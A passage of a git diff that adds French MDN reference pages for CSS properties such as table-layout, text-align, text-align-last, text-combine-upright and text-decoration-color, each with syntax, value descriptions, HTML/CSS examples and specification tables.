+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur utilisant un mot-clé */
+table-layout: auto;
+table-layout: fixed;
+
+/* Valeurs globales */
+table-layout: inherit;
+table-layout: initial;
+table-layout: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("auto")}}</dt>
+ <dd>Un algorithme automatique, utilisé communément par la plupart des navigateurs, est utilisé pour gérer la disposition du tableau. La largeur du tableau et de ses cellules dépendent de leur contenu.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>La largeur du tableau et celles des colonnes sont définies grâce aux largeurs des éléments <code>table</code> et <code>col</code> ou grâce à la largeur (explicite) de la première ligne de cellules. Les cellules des lignes suivantes n'affectent pas la largeur des colonnes.<br>
+ <br>
+ Avec cette méthode « fixée », tout le tableau peut être rendu dès que la première ligne a été téléchargée et analysée. Cela permet d'accélérer le temps de rendu par rapport à la valeur <code>auto</code>. En revanche, le contenu des lignes (en dehors de la première), peut ne pas rentrer dans les colonnes avec la largeur calculée. Les cellules dont le contenu est trop large utiliseront la propriété {{cssxref("overflow")}} pour déterminer comment gérer le dépassement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple utilise <code>table-layout: fixed</code> et une largeur donnée (avec la propriété <code>width</code>) afin que le tableau ne s'agrandisse pas avec son contenu. Ainsi, on peut voir l'effet de la propriété {{cssxref("text-overflow")}} et l'application d'une ellipse pour les mots trop longs pour le tableau.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table class="exemple"&gt;
+  &lt;tr&gt;
+    &lt;td width="7em"&gt;Jean&lt;/td&gt;
+    &lt;td width="7em"&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean-Roger-Michel&lt;/td&gt;
+    &lt;td&gt;du Domaine de la Biche&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  table-layout: fixed;
+  width: 120px;
+  border: 1px solid red;
+}
+
+tr, td {
+  border: solid;
+}
+
+td {
+  border: 1px solid blue;
+  overflow: hidden;
+  white-space: nowrap;
+  text-overflow: ellipsis;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'tables.html#width-layout', 'table-layout')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.table-layout")}}</p>
diff --git a/files/fr/web/css/text-align-last/index.html b/files/fr/web/css/text-align-last/index.html
new file mode 100644
index 0000000000..a0f42f8863
--- /dev/null
+++ b/files/fr/web/css/text-align-last/index.html
@@ -0,0 +1,114 @@
+---
+title: text-align-last
+slug: Web/CSS/text-align-last
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-align-last
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-align-last</code></strong> définit la façon dont la dernière ligne d'un bloc, ou une ligne avant un retour à la ligne forcé, doit être alignée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-align-last.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs utilisant un mot-clé */
+text-align-last: auto;
+text-align-last: start;
+text-align-last: end;
+text-align-last: left;
+text-align-last: right;
+text-align-last: center;
+text-align-last: justify;
+
+/* Valeurs globales */
+text-align-last: inherit;
+text-align-last: initial;
+text-align-last: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La ligne concernée est alignée selon la valeur de {{cssxref("text-align")}} sauf si {{cssxref("text-align")}} vaut <code>justify</code>, auquel cas, cela aura le même effet que d'utiliser la valeur <code>start</code> pour <code>text-align-last</code>.</dd>
+ <dt><code>start</code></dt>
+ <dd>Cette valeur a le même effet que la valeur <code>left</code> si la direction du texte va de gauche à droite ou le même effet que <code>right</code> si la direction du texte va de droite à gauche.</dd>
+ <dt><code>end</code></dt>
+ <dd>Cette valeur a le même effet que la valeur <code>right</code> si la direction du texte va de gauche à droite ou le même effet que <code>left</code> si la direction du texte va de droite à gauche.</dd>
+ <dt><code>left</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont alignés sur le bord gauche de la boîte contenant la ligne.</dd>
+ <dt><code>right</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont alignés sur le bord droit de la boîte contenant la ligne.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont horizontalement centrés par rapport à la boîte contenant la ligne.</dd>
+ <dt><code>justify</code></dt>
+ <dd>Le texte est justifié. Les bords gauche et droit du texte sont alignés avec les bord gauche et droit du paragraphe.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
+  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
+  consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
+  cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
+  proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  text-align: justify;
+  text-align-last: center;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-align-last-property', 'text-align-last')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur le dépôt <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.text-align-last")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-align")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-align/index.html b/files/fr/web/css/text-align/index.html
new file mode 100644
index 0000000000..50e54360ba
--- /dev/null
+++ b/files/fr/web/css/text-align/index.html
@@ -0,0 +1,227 @@
+---
+title: text-align
+slug: Web/CSS/text-align
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-align
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-align</code></strong> définit l'alignement horizontal d'un élément de bloc ou de la boîte d'une cellule de tableau. Cette propriété fonctionne donc de façon analogue à {{cssxref("vertical-align")}} mais dans le sens horizontal.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-align.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+text-align: left;
+text-align: right;
+text-align: center;
+text-align: justify;
+text-align: justify-all;
+text-align: start;
+text-align: end;
+text-align: match-parent;
+
+/* Dans une cellule de tableau, caractère sur lequel */
+/* doit être aligné le contenu de la cellule         */
+text-align: ".";
+text-align: "." center;
+
+/* Alignement de bloc (non standard) */
+text-align: -moz-center;
+text-align: -webkit-center;
+
+/* Valeurs globales */
+text-align: inherit;
+text-align: initial;
+text-align: unset;
+</pre>
+
+<p>La propriété <code>text-align</code> peut être définie grâce à l'un des mots-clés de la liste qui suit.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code> {{experimental_inline}}</dt>
+ <dd>Cette valeur a le même effet que la valeur <code>left</code> si la direction du texte va de gauche à droite ou le même effet que <code>right</code> si la direction du texte va de droite à gauche.</dd>
+ <dt><code>end</code> {{experimental_inline}}</dt>
+ <dd>Cette valeur a le même effet que la valeur <code>right</code> si la direction du texte va de gauche à droite ou le même effet que <code>left</code> si la direction du texte va de droite à gauche.</dd>
+ <dt><code>left</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont alignés sur le bord gauche de la boîte contenant la ligne.</dd>
+ <dt><code>right</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont alignés sur le bord droit de la boîte contenant la ligne.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les contenus en ligne (<em>inline</em>) sont horizontalement centrés par rapport à la boîte contenant la ligne.</dd>
+ <dt><code>justify</code></dt>
+ <dd>Le texte est justifié. Les bords gauche et droit du texte sont alignés avec les bord gauche et droit du paragraphe.</dd>
+ <dt><code>justify-all</code>{{experimental_inline}}</dt>
+ <dd>Comportement analogue à <code>justify</code> mais avec la dernière ligne nécessairement justifiée.</dd>
+ <dt><code>match-parent</code> {{experimental_inline}}</dt>
+ <dd>Semblable à <code>inherit</code> mais les valeurs <code>start</code> et <code>end</code> sont calculées selon la valeur de {{cssxref("direction")}} pour le parent et sont remplacées par <code>left</code> ou <code>right</code> selon ce qui est adéquat.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}} {{experimental_inline}}</dt>
+ <dd>Lorsque cette valeur est appliquée sur une cellule de tableau, elle indique le caractère sur lequel doit être aligné le contenu de la cellule.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Alignement_à_gauche">Alignement à gauche</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Il y avait en Vestphalie, dans le château de M. le baron de
+  Thunder-ten-tronckh, un jeune garçon à qui la nature avait
+  donné les moeurs les plus douces. Sa physionomie annonçait
+  son âme. Il avait le jugement assez droit, avec l’esprit le plus
+  simple ; c’est, je crois, pour cette raison qu’on le nommait Candide.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.exemple {
+  text-align: left;
+  border: solid;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Alignement_à_gauche","100%","100%")}}</p>
+
+<h3 id="Texte_centré">Texte centré</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Il y avait en Vestphalie, dans le château de M. le baron de
+  Thunder-ten-tronckh, un jeune garçon à qui la nature avait
+  donné les moeurs les plus douces. Sa physionomie annonçait
+  son âme. Il avait le jugement assez droit, avec l’esprit le plus
+  simple ; c’est, je crois, pour cette raison qu’on le nommait Candide.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.exemple {
+  text-align: center;
+  border: solid;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Texte_centré","100%","100%")}}</p>
+
+<h3 id="Justification">Justification</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  Il y avait en Vestphalie, dans le château de M. le baron de
+  Thunder-ten-tronckh, un jeune garçon à qui la nature avait
+  donné les moeurs les plus douces. Sa physionomie annonçait
+  son âme. Il avait le jugement assez droit, avec l’esprit le plus
+  simple ; c’est, je crois, pour cette raison qu’on le nommait Candide.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.exemple {
+  text-align: justify;
+  border: solid;
+}</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Justification","100%","100%")}}</p>
+
+<h3 id="Notes">Notes</h3>
+
+<p>La méthode la plus générique pour centrer un bloc plutot que de centrer son contenu est d'utiliser la propriété {{cssxref("margin")}} avec les valeurs <code>left</code> et <code>right</code> à <code>auto</code>, e.g. :</p>
+
+<pre class="brush: css">.classe {
+  margin: auto;
+}
+</pre>
+
+<pre class="brush: css">.classe {
+  margin: 0 auto;
+}
+</pre>
+
+<pre class="brush: css">.classe {
+  margin-left: auto;
+  margin-right: auto;
+}
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>L'espacement créé entre les mots par la justification du texte peut rendre la lecture difficile pour les personnes dyslexiques ou souffrant de troubles cognitifs.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html"><em>Understanding Success Criterion 1.4.8  | Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Text', '#alignment', 'text-align')}}</td>
+   <td>{{Spec2('CSS4 Text')}}</td>
+   <td>Ajout de la gestion des valeurs <code>&lt;string&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-align-property', 'text-align')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Ajout des valeurs <code>start</code>, <code>end</code> et <code>match-parent</code>. La valeur initiale qui n'était pas nommée est bien définie avec <code>start</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-align")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("margin","margin:auto")}}</li>
+ <li>{{cssxref("margin-left","margin-left:auto")}}</li>
+ <li>{{cssxref("vertical-align")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-combine-upright/index.html b/files/fr/web/css/text-combine-upright/index.html
new file mode 100644
index 0000000000..3041435d0e
--- /dev/null
+++ b/files/fr/web/css/text-combine-upright/index.html
@@ -0,0 +1,122 @@
+---
+title: text-combine-upright
+slug: Web/CSS/text-combine-upright
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-combine-upright
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-combine-upright</code></strong> définit comment intégrer une combinaison de plusieurs caractères dans l'espace normalement alloué à un seul caractère. Si la combinaison obtenue est plus large qu'<code>1em</code>, l'agent utilisateur devra compresser le contenu afin qu'il tienne sur <code>1em</code>. La combinaison est ensuite manipulée comme un seul glyphe pour la disposition et pour la décoration. Enfin, cette propriété n'a d'effet que sur les modes d'écriture verticaux.</p>
+
+<p>Cela permet d'obtenir un effet appelé tate-chū-yoko (<span lang="ja">縦中横</span>) en japonais ou <span lang="zh-Hant">直書橫向</span> en chinois.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+text-combine-upright: none;
+text-combine-upright: all;
+
+/* Valeurs pour les chiffres */
+/* 2 chiffres qui se suivent prendront la place
+   d'un caractère dans du texte vertical */
+text-combine-upright: digits;
+/* Compresse jusqu'à 4 chiffres consécutifs afin
+   qu'ils occupent l'espace d'un caractère dans
+   du texte vertical */
+text-combine-upright: digits 4;
+
+/* Valeurs globales */
+text-combine-upright: inherit;
+text-combine-upright: initial;
+text-combine-upright: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucun traitement particulier n'est appliqué.</dd>
+ <dt><code>all</code></dt>
+ <dd>L'agent utilisateur tente de compresser tous les caractères consécutifs dans une même boîte afin qu'ils occupent l'espace d'un seul caractère sur l'axe vertical de la boîte.</dd>
+ <dt><code>digits &lt;n&gt;?</code></dt>
+ <dd>L'agent utilisateur tente d'afficher une suite de chiffres ASCII (U+0030–U+0039) avec au plus n caractères afin que cette suite occupe l'espace d'un seul caractère sur l'axe vertical de la boîte. La valeur par défaut (lorsque l'entier n'est pas indiqué) vaut 2. Les entiers en dehors de l'intervalle <code>[2;4]</code> sont considérés comme invalides.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_avec_digits">Exemple avec <code>digits</code></h3>
+
+<p>Utiliser <code>digit</code><code>s</code> nécessite moins de règles et déclarations mais n'est pas encore largement pris en charge par les navigateurs.</p>
+
+<pre class="brush: html">&lt;p lang="ja" class="exempleText"&gt;平成20年4月16日に&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">.exempleText {
+  writing-mode: vertical-lr;
+  text-combine-upright: digits 2;
+  font: 36px serif;
+}</pre>
+
+<p>{{EmbedLiveSample("Exemple_avec_digits", 100, 350, "https://mdn.mozillademos.org/files/12127/tate-chu-yoko.png")}}</p>
+
+<h3 id="Exemple_avec_all">Exemple avec <code>all</code></h3>
+
+<p>Pour utiliser <code>all</code>, on devra baliser chaque fragment de texte horizontal mais cette valeur est actuellement mieux prise en charge que <code>digits</code>.</p>
+
+<pre class="brush: html">&lt;p lang="zh-Hant"&gt;民國&lt;span class="num"&gt;105&lt;/span
+&gt;年&lt;span class="num"&gt;4&lt;/span
+&gt;月&lt;span class="num"&gt;29&lt;/span&gt;日&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">html { writing-mode: vertical-rl; font: 24px serif }
+.num { text-combine-upright: all }
+</pre>
+
+<p>{{EmbedLiveSample("Exemple_avec_all", 250, 300, "https://mdn.mozillademos.org/files/13096/text-combine-upright-all.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Writing Modes", "#propdef-text-combine-upright", "text-combine-upright")}}</td>
+   <td>{{Spec2("CSS3 Writing Modes")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Writing Modes", "#propdef-text-combine-upright", "text-combine-upright")}}</td>
+   <td>{{Spec2("CSS4 Writing Modes")}}</td>
+   <td>Ajout de la valeur <code>digits</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-combine-upright")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("writing-mode")}},</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-decoration-color/index.html b/files/fr/web/css/text-decoration-color/index.html
new file mode 100644
index 0000000000..1abd04f003
--- /dev/null
+++ b/files/fr/web/css/text-decoration-color/index.html
@@ -0,0 +1,115 @@
+---
+title: text-decoration-color
+slug: Web/CSS/text-decoration-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-decoration-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-decoration-color</code></strong> définit la couleur utilisée pour dessiner les lignes décorant le texte (quel que soit le style définit {{cssxref("text-decoration-line")}}).</p>
+
+<p>La propriété raccourcie {{cssxref("text-decoration")}} permet de paramétrer cette propriété et d'autres propriétés associées aux décorations.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'on définit plusieurs décorations à la fois, il peut être plus pratique d'utiliser la propriété raccourcie {{cssxref("text-decoration")}}.</p>
+</div>
+
+<p>Il est préférable d'utiliser cette propriété pour colorer ces décorations plutôt que d'utiliser d'autres éléments HTML.</p>
+
+<div class="note">
+<p><strong>Note :</strong> CSS ne fournit pas de mécanisme spécifique pour définir une couleur par type de ligne. On peut toutefois y parvenir en imbriquant des éléments mis en forme différemment.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Couleurs */
+/* Valeurs de type &lt;color&gt; */
+text-decoration-color: currentColor;
+text-decoration-color: red;
+text-decoration-color: #00ff00;
+text-decoration-color: rgba(255, 128, 128, 0.5);
+text-decoration-color: transparent;
+
+/* Valeurs globales */
+text-decoration-color: inherit;
+text-decoration-color: initial;
+text-decoration-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La propriété <code>color</code> accepte différents mots-clés et valeurs numériques. Pour plus de détails, voir {{cssxref("&lt;color&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Du texte avec un effet au survol&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  text-decoration: underline;
+  text-decoration-color: red;
+}
+
+.exemple:hover {
+  color: blue;
+  text-decoration: line-through;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-color-property', 'text-decoration-color')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Définition initiale. La propriété {{cssxref("text-decoration")}} n'était pas une propriété raccourcie auparavant.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-decoration-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("text-decoration")}} qui permet, entre autres, de paramétrer <code>text-decoration-color</code>.</li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>D'autres propriétés relatives aux couleurs : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs aux éléments HTML</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/text-decoration-line/index.html b/files/fr/web/css/text-decoration-line/index.html
new file mode 100644
index 0000000000..8b54586657
--- /dev/null
+++ b/files/fr/web/css/text-decoration-line/index.html
@@ -0,0 +1,108 @@
+---
+title: text-decoration-line
+slug: Web/CSS/text-decoration-line
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-decoration-line
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-decoration-line</code></strong> définit la façon dont les décorations linéaires sont ajoutées à un élément et notamment leur position (sous le texte, au-dessus ou en travers de celui-ci).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration-line.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété raccourcie {{cssxref("text-decoration")}} permet de paramétrer cette propriété et d'autres propriétés associées aux décorations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+text-decoration-line: none;
+text-decoration-line: underline;
+text-decoration-line: overline;
+text-decoration-line: line-through;
+
+/* Valeurs avec plusieurs mots-clés */
+text-decoration-line: underline overline;                /* On a deux décorations pour la ligne */
+text-decoration-line: overline underline line-through;   /* On a plusieurs décorations */
+
+/* Valeurs globales */
+text-decoration-line: inherit;
+text-decoration-line: initial;
+text-decoration-line: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété peut avoir une ou plusieurs valeurs séparées par des espaces. Si aucune valeur n'est fournie, il n'y a pas de décoration ajoutée :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucune ligne ne décore le texte.</dd>
+ <dt><code>underline</code></dt>
+ <dd>Chaque ligne de texte est soulignée.</dd>
+ <dt><code>overline</code></dt>
+ <dd>Une ligne est dessinée au-dessus de chaque ligne de texte.</dd>
+ <dt><code>line-through</code></dt>
+ <dd>Une ligne est dessinée au milieu de chaque ligne de texte.</dd>
+ <dt><code>blink</code> {{deprecated_inline}}</dt>
+ <dd>Le texte clignote. Les agents utilisateurs conformes peuvent ne pas suivre cette directive. Cette valeur est dépréciée et il est conseillé d'utiliser les <a href="/fr/docs/Web/CSS/animation">animations CSS</a> pour obtenir un effet similaire.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Voici un texte souligné avec une vaguelette rouge.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
